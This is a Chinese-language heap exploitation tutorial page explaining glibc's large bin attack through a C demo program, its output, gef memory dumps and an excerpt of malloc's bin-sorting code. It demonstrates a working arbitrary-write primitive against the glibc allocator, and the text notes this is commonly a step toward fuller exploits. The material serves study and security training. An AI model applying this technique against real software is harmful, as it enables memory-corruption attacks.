Question

house_of_rabbit

house_of_roman

参考资料

下载文件

how2heap

large_bin_attack

#include<stdio.h>
#include<stdlib.h>

int main() {
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "The targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x100);
    fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
    malloc(0x10);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
    malloc(0x10);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
    malloc(0x10);

    // deal with tcache - libc-2.26
    // int *a[10], *b[10], i;
    // for (i = 0; i < 7; i++) {
    //     a[i] = malloc(0x100);
    //     b[i] = malloc(0x400);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(a[i]);
    //     free(b[i]);
    // }

    free(p1);
    free(p2);
    fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");

    malloc(0x30);
    fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);
    fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");

    free(p3);
    malloc(0x30);
    fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
}

$ gcc -g large_bin_attack.c
$ ./a.out 
The targets we want to rewrite on stack:
stack_var1 (0x7fffffffdeb0): 0
stack_var2 (0x7fffffffdeb8): 0

Now, we allocate the first chunk: 0x555555757000
Then, we allocate the second chunk(large chunk): 0x555555757130
Finally, we allocate the third chunk(large chunk): 0x555555757560

Now, We free the first and the second chunks now and they will be inserted in the unsorted bin
Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist

Now we use a vulnerability to overwrite the freed second chunk

Finally, we free the third chunk and malloc again, targets should have already been rewritten:
stack_var1 (0x7fffffffdeb0): 0x555555757560
stack_var2 (0x7fffffffdeb8): 0x555555757560

该技术可用于修改任意地址的值，例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏，例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。

首先我们分配 chunk p1, p2 和 p3，并且在它们之间插入其他的 chunk 以防止在释放时被合并。此时的内存布局如下：

gef➤  x/2gx &stack_var1 
0x7fffffffde70:    0x0000000000000000    0x0000000000000000
gef➤  x/4gx p1-2
0x555555757000:    0x0000000000000000    0x0000000000000111  <-- p1
0x555555757010:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx p2-6
0x555555757110:    0x0000000000000000    0x0000000000000021
0x555555757120:    0x0000000000000000    0x0000000000000000
0x555555757130:    0x0000000000000000    0x0000000000000411  <-- p2
0x555555757140:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx p3-6
0x555555757540:    0x0000000000000000    0x0000000000000021
0x555555757550:    0x0000000000000000    0x0000000000000000
0x555555757560:    0x0000000000000000    0x0000000000000411  <-- p3
0x555555757570:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx p3+(0x410/8)-2
0x555555757970:    0x0000000000000000    0x0000000000000021
0x555555757980:    0x0000000000000000    0x0000000000000000
0x555555757990:    0x0000000000000000    0x0000000000020671  <-- top
0x5555557579a0:    0x0000000000000000    0x0000000000000000

然后依次释放掉 p1 和 p2，这两个 free chunk 将被放入 unsorted bin：

gef➤  x/8gx p1-2
0x555555757000:    0x0000000000000000    0x0000000000000111  <-- p1 [be freed]
0x555555757010:    0x00007ffff7dd3b78    0x0000555555757130
0x555555757020:    0x0000000000000000    0x0000000000000000
0x555555757030:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx p2-2
0x555555757130:    0x0000000000000000    0x0000000000000411  <-- p2 [be freed]
0x555555757140:    0x0000555555757000    0x00007ffff7dd3b78
0x555555757150:    0x0000000000000000    0x0000000000000000
0x555555757160:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757130, bk=0x555555757000
 →   Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)   →   Chunk(addr=0x555555757010, size=0x110, flags=PREV_INUSE)
[+] Found 2 chunks in unsorted bin.

接下来随便 malloc 一个 chunk，则 p1 被切分为两块，一块作为分配的 chunk 返回，剩下的一块继续留在 unsorted bin（p1 的作用就在这里，如果没有 p1，那么切分的将是 p2）。而 p2 则被整理回对应的 large bin 链表中：

gef➤  x/14gx p1-2
0x555555757000:    0x0000000000000000    0x0000000000000041  <-- p1-1
0x555555757010:    0x00007ffff7dd3c78    0x00007ffff7dd3c78
0x555555757020:    0x0000000000000000    0x0000000000000000
0x555555757030:    0x0000000000000000    0x0000000000000000
0x555555757040:    0x0000000000000000    0x00000000000000d1  <-- p1-2 [be freed]
0x555555757050:    0x00007ffff7dd3b78    0x00007ffff7dd3b78      <-- fd, bk
0x555555757060:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx p2-2
0x555555757130:    0x0000000000000000    0x0000000000000411  <-- p2 [be freed]
0x555555757140:    0x00007ffff7dd3f68    0x00007ffff7dd3f68      <-- fd, bk
0x555555757150:    0x0000555555757130    0x0000555555757130      <-- fd_nextsize, bk_nextsize
0x555555757160:    0x0000000000000000    0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757040, bk=0x555555757040
 →   Chunk(addr=0x555555757050, size=0xd0, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
gef➤  heap bins large
[ Large Bins for arena 'main_arena' ]
[+] large_bins[63]: fw=0x555555757130, bk=0x555555757130
 →   Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)
[+] Found 1 chunks in 1 large non-empty bins.

整理的过程如下所示，需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列，如果大小相同则按照最近使用顺序排列：

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
                [ ... ]
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                        [ ... ]
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)
                        {
                            [ ... ]
                        }

                      if ((unsigned long) size == (unsigned long) fwd->size)
                        [ ... ]
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                [ ... ]
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

假设我们有一个漏洞，可以对 large bin 里的 chunk p2 进行修改，结合上面的整理过程，我们伪造 p2 如下：

gef➤  x/8gx p2-2
0x555555757130:    0x0000000000000000    0x00000000000003f1  <-- fake p2 [be freed]
0x555555757140:    0x0000000000000000    0x00007fffffffde60      <-- bk
0x555555757150:    0x0000000000000000    0x00007fffffffde58      <-- bk_nextsize
0x555555757160:    0x0000000000000000    0x0000000000000000

同样的，释放 p3，将其放入 unsorted bin，紧接着进行 malloc 操作，将 p3 整理回 large bin，这个过程中判断条件 (unsigned long) (size) < (unsigned long) (bck->bk->size) 为假，程序将进入 else 分支，其中 fwd 是 fake p2，victim 是 p3，接着 bck 被赋值为 (&stack_var1 - 2)。

在 p3 被放回 large bin 并排序的过程中，我们位于栈上的两个变量也被修改成了 victim，对应的语句分别是 bck->fd = victim; 和 ictim->bk_nextsize->fd_nextsize = victim;。

gef➤  x/2gx &stack_var1 
0x7fffffffde70:    0x0000555555757560    0x0000555555757560
gef➤  x/8gx p2-2
0x555555757130:    0x0000000000000000    0x00000000000003f1
0x555555757140:    0x0000000000000000    0x0000555555757560
0x555555757150:    0x0000000000000000    0x0000555555757560
0x555555757160:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx p3-2
0x555555757560:    0x0000000000000000    0x0000000000000411
0x555555757570:    0x0000555555757130    0x00007fffffffde60
0x555555757580:    0x0000555555757130    0x00007fffffffde58
0x555555757590:    0x0000000000000000    0x0000000000000000

考虑 libc-2.26 上的情况，还是一样的，处理好 tchache 就可以了，在 free 之前把两种大小的 tcache bin 都占满。

house_of_rabbit

house_of_roman

参考资料

• House of Rabbit - Heap exploitation technique bypassing ASLR
• https://github.com/shift-crops/House_of_Rabbit
• House_of_Roman
• https://github.com/romanking98/House-Of-Roman